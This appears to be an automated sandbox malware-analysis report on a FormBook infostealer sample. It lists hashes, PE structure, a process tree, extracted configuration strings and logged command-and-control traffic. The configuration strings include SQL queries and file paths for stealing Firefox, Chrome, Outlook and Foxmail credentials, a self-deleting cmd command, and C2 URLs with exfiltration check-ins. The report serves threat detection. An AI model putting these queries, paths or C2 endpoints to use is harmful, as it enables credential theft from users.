| File name: | vbc.exe |
| Full analysis: | https://app.any.run/tasks/f31fe8e4-8229-4656-92ff-aacceb59cd01 |
| Verdict: | Malicious activity |
| Threats: | FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus. |
| Analysis date: | April 05, 2022, 02:57:56 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive |
| MD5: | ACC0FA2FB917D569363074E40BCEC689 |
| SHA1: | 2FF041955791387642B93DC15D7F5FFC1EAA6997 |
| SHA256: | F7F012260FD5AEA6DE6701CB5677DD9A900A4E188A1DE3611F47EB2C41BF2FA6 |
| SSDEEP: | 6144:HNeZm6OOufOV5qIftjckGf88YqhQPIpG7wcQE/T+5X:HNl6kOVQIB/GXG/Mcc5X |
| .exe | | | Win32 Executable MS Visual C++ (generic) (67.4) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (14.2) |
| .exe | | | Win32 Executable (generic) (9.7) |
| .exe | | | Generic Win/DOS Executable (4.3) |
| .exe | | | DOS Executable Generic (4.3) |
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2021:09:25 23:55:49+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 6 |
| CodeSize: | 26112 |
| InitializedDataSize: | 141824 |
| UninitializedDataSize: | 2048 |
| EntryPoint: | 0x34f7 |
| OSVersion: | 4 |
| ImageVersion: | 6 |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 25-Sep-2021 21:55:49 |
| Detected languages: |
|
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000D8 |
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 5 |
| Time date stamp: | 25-Sep-2021 21:55:49 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x00006515 | 0x00006600 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.43971 |
.rdata | 0x00008000 | 0x0000139A | 0x00001400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.14577 |
.data | 0x0000A000 | 0x00020338 | 0x00000600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 4.0137 |
.ndata | 0x0002B000 | 0x00010000 | 0x00000000 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
.rsrc | 0x0003B000 | 0x00000A50 | 0x00000C00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.18462 |
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.29934 | 830 | UNKNOWN | English - United States | RT_MANIFEST |
103 | 2.16096 | 20 | UNKNOWN | English - United States | RT_GROUP_ICON |
105 | 2.66174 | 256 | UNKNOWN | English - United States | RT_DIALOG |
106 | 2.88094 | 284 | UNKNOWN | English - United States | RT_DIALOG |
111 | 2.48825 | 96 | UNKNOWN | English - United States | RT_DIALOG |
ADVAPI32.dll |
COMCTL32.dll |
GDI32.dll |
KERNEL32.dll |
SHELL32.dll |
USER32.dll |
ole32.dll |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1296 | C:\Windows\Explorer.EXE | C:\Windows\Explorer.EXE | — | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1896 | /c del "C:\Users\admin\AppData\Local\Temp\kwstu.exe" | C:\Windows\System32\cmd.exe | — | services.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2064 | C:\Users\admin\AppData\Local\Temp\kwstu.exe C:\Users\admin\AppData\Local\Temp\frvywy | C:\Users\admin\AppData\Local\Temp\kwstu.exe | — | vbc.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2940 | "C:\Users\admin\AppData\Local\Temp\vbc.exe" | C:\Users\admin\AppData\Local\Temp\vbc.exe | Explorer.EXE | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3356 | C:\Users\admin\AppData\Local\Temp\kwstu.exe C:\Users\admin\AppData\Local\Temp\frvywy | C:\Users\admin\AppData\Local\Temp\kwstu.exe | — | kwstu.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3536 | "C:\Windows\System32\services.exe" | C:\Windows\System32\services.exe | Explorer.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Services and Controller app Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
Formbook(PID) Process(3536) services.exe C2www.deirdremoncy.com/ud5f/ Decoys and strings (148)USERNAME LOCALAPPDATA USERPROFILE APPDATA TEMP ProgramFiles CommonProgramFiles ALLUSERSPROFILE /c copy " /c del " \Run \Policies \Explorer \Registry\User \Registry\Machine \SOFTWARE\Microsoft\Windows\CurrentVersion Office\15.0\Outlook\Profiles\Outlook\ NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ \SOFTWARE\Mozilla\Mozilla \Mozilla Username: Password: formSubmitURL usernameField encryptedUsername encryptedPassword \logins.json \signons.sqlite \Mail\ \Foxmail \Storage\ \Accounts\Account.rec0 \Data\AccCfg\Accounts.tdat \Microsoft\Vault\ SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins \Google\Chrome\User Data\Default\Login Data SELECT origin_url, username_value, password_value FROM logins .exe .com .scr .pif .cmd .bat ms win gdi mfc vga igfx user help config update regsvc chkdsk systray audiodg certmgr autochk taskhost colorcpl services IconCache ThumbCache Cookies SeDebugPrivilege SeShutdownPrivilege \BaseNamedObjects config.php POST HTTP/1.1 Host: Connection: close Content-Length: Cache-Control: no-cache Origin: http:// User-Agent: Mozilla Firefox/4.0 Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http:// Accept-Language: en-US Accept-Encoding: gzip, deflate
dat= f-start qy818.store my-paypal.online smartlegalandidprotection.com powellpromo.com versatilegems.com engelskapiste.com thelocksmithexpo.com aixiaoka.top induququyui.com cheyannejewels.com mfkplatinum.info albutrusgips.com delfinyevent.com mgbuilldingmaterials.com ozhomefurniture.com manifiestoccs.com theblackbarnfields.com dazzleside.com kobaygym.com xn--evdenifikirleri-e6c.com csliuxue.com alwayspositivemood.com bespokeneedlework.com apfasteners.com shyridrel.space thongcongnghetsaigon24h.com heartwork.ink dfyh168.com empregosbr1.online 12pgslot321.online linkmainsta.com buyjoellemonet.com tsdsbjt.com accom2012.com miaglam.com southwesthuntingadventures.com liquidationone.com onlineloanforbadcredit.com lacimaeventos.com palisadesskipatrol.com kushrushmia.com 1upgeekmania.com xn--2e0br59a7ucquav02b.com keukentafelrestaurant.store flossent.com cleaningservicesearchcan.com clients-panel.club ameliastore.online onetone-design.com unlimitedsea.com essaysparlor.com lokisolutions.biz trendrelation.com cxhdflfx.online arloconstruction.net lostdevice.xyz healingyourbodynaturally.com physiocare-ye.com realhindisexkahani.com doyleloghomes.info rugisdh.com devnetsecops.com degengains.com healthcarerevamped.com f-end Modules (42)kernel32.dll advapi32.dll ws2_32.dll svchost.exe msiexec.exe wuauclt.exe lsass.exe wlanext.exe msg.exe lsm.exe dwm.exe help.exe chkdsk.exe cmmon32.exe nbtstat.exe spoolsv.exe rdpclip.exe control.exe taskhost.exe rundll32.exe systray.exe audiodg.exe wininit.exe services.exe autochk.exe autoconv.exe autofmt.exe cmstp.exe colorcpl.exe cscript.exe explorer.exe WWAHost.exe ipconfig.exe msdt.exe mstsc.exe NAPSTAT.EXE netsh.exe NETSTAT.EXE raserver.exe wscript.exe wuapp.exe cmd.exe | |||||||||||||||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2940 | vbc.exe | C:\Users\admin\AppData\Local\Temp\mfbulrhxfojh | binary | |
MD5:— | SHA256:— | |||
| 2940 | vbc.exe | C:\Users\admin\AppData\Local\Temp\frvywy | binary | |
MD5:— | SHA256:— | |||
| 2940 | vbc.exe | C:\Users\admin\AppData\Local\Temp\kwstu.exe | executable | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1296 | Explorer.EXE | GET | — | 154.208.194.3:80 | http://www.essaysparlor.com/ud5f/?uJoPY4AX=EvZosSIubq0jx91B1DuQTFKgcSxBoYO1BAYqpjH1suRxsZNCUNtFH/1nVc+4/1m9DKdKvw==&BZl=7notQhC | US | — | — | malicious |
1296 | Explorer.EXE | GET | — | 156.226.87.169:80 | http://www.miaglam.com/ud5f/?uJoPY4AX=Sh/7jjdLkJkw2P9G6NXNiXkWe6qU3BfAt4lTeG45Omo8vd/KszN/e8zNRa5NxNgbe0tlHw==&BZl=7notQhC | ZA | — | — | malicious |
1296 | Explorer.EXE | GET | 301 | 104.21.74.114:80 | http://www.buyjoellemonet.com/ud5f/?uJoPY4AX=ZZyG34jkM7WtQBNTq+eJT7o/iXeYI2EhDdbodLCeq3Mvscs3zM2FrC69ObuNCn8Rc4Iz2A==&BZl=7notQhC | US | — | — | malicious |
1296 | Explorer.EXE | GET | 301 | 104.21.42.62:80 | http://www.unlimitedsea.com/ud5f/?uJoPY4AX=sREaoEamV+F2ZbgcwnuwyrMyamPzW8j4H+ta4bT5d6ux6rdunnTJiMtpsu7H0MpiKOQsNQ==&VPxd=GfmXFTbpsV | US | — | — | malicious |
1296 | Explorer.EXE | GET | 301 | 72.167.58.161:80 | http://www.healingyourbodynaturally.com/ud5f/?uJoPY4AX=L+U39Q4TNBXFTSd84I/UTFwLsHNj024wyISOXuM89WyUM/5eupHSV6dMLeV20/p9R+fqSA==&VPxd=GfmXFTbpsV | US | — | — | malicious |
1296 | Explorer.EXE | GET | 301 | 104.21.74.114:80 | http://www.buyjoellemonet.com/ud5f/?uJoPY4AX=ZZyG34jkM7WtQBNTq+eJT7o/iXeYI2EhDdbodLCeq3Mvscs3zM2FrC69ObuNCn8Rc4Iz2A==&BZl=7notQhC | US | — | — | malicious |
1296 | Explorer.EXE | GET | 403 | 34.102.136.180:80 | http://www.physiocare-ye.com/ud5f/?uJoPY4AX=yQ2v/wbikxvWpqgfoVshro+r3IM+CS+uKAbgpxi1ZzTfim8SLi+BGzncLfz0pvu2kOKnOg==&BZl=7notQhC | US | html | 300 b | whitelisted |
1296 | Explorer.EXE | GET | 302 | 172.65.232.115:80 | http://www.deirdremoncy.com/ud5f/?uJoPY4AX=kctOXJz/8Ze0ND9UPKKpz0V3U8BcUwTuVPP7cKIUHhEXep8z7dMdPoR59L4JSCoBqurVmw==&BZl=7notQhC | US | html | 192 b | malicious |
1296 | Explorer.EXE | GET | 403 | 34.102.136.180:80 | http://www.thelocksmithexpo.com/ud5f/?uJoPY4AX=Qh4d7GFdzdMEaWzm+Szhsn1lOXBrQMpjzpwiFLWCmBGtmCzLICNfiwNFN6LPKwsQ5GY15g==&BZl=7notQhC | US | html | 300 b | malicious |
1296 | Explorer.EXE | GET | 404 | 66.29.145.183:80 | http://www.rugisdh.com/ud5f/?uJoPY4AX=D7mSXrQKILrY0ly7n1FdHb7AWR16QuaX/4RVrGgKMK8NsVZ0ENHz79v+MyRx2CpWeyBXYg==&BZl=7notQhC | US | html | 277 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1296 | Explorer.EXE | 66.96.161.144:80 | www.healthcarerevamped.com | The Endurance International Group, Inc. | US | malicious |
— | — | 34.102.136.180:80 | www.physiocare-ye.com | — | US | whitelisted |
1296 | Explorer.EXE | 154.208.194.3:80 | www.essaysparlor.com | MULTACOM CORPORATION | US | malicious |
1296 | Explorer.EXE | 66.29.145.183:80 | www.rugisdh.com | Advantagecom Networks, Inc. | US | malicious |
1296 | Explorer.EXE | 34.102.136.180:80 | www.physiocare-ye.com | — | US | whitelisted |
1296 | Explorer.EXE | 172.65.232.115:80 | www.deirdremoncy.com | Cloudflare Inc | US | malicious |
1296 | Explorer.EXE | 104.21.74.114:80 | www.buyjoellemonet.com | Cloudflare Inc | US | malicious |
1296 | Explorer.EXE | 156.226.87.169:80 | www.miaglam.com | MacroLAN | ZA | malicious |
1296 | Explorer.EXE | 2.57.90.16:80 | www.1upgeekmania.com | — | — | malicious |
1296 | Explorer.EXE | 154.209.252.198:80 | www.dfyh168.com | MULTACOM CORPORATION | US | malicious |
Domain | IP | Reputation |
|---|---|---|
www.healthcarerevamped.com |
| malicious |
www.physiocare-ye.com |
| whitelisted |
www.essaysparlor.com |
| malicious |
www.rugisdh.com |
| malicious |
www.ozhomefurniture.com |
| unknown |
www.deirdremoncy.com |
| malicious |
www.thelocksmithexpo.com |
| malicious |
www.qy818.store |
| malicious |
www.buyjoellemonet.com |
| malicious |
www.apfasteners.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
1296 | Explorer.EXE | Generic Protocol Command Decode | SURICATA HTTP Unexpected Request body |
1296 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1296 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1296 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1296 | Explorer.EXE | Generic Protocol Command Decode | SURICATA HTTP Unexpected Request body |
1296 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1296 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1296 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |
1296 | Explorer.EXE | Generic Protocol Command Decode | SURICATA HTTP Unexpected Request body |
1296 | Explorer.EXE | A Network Trojan was detected | ET TROJAN FormBook CnC Checkin (GET) |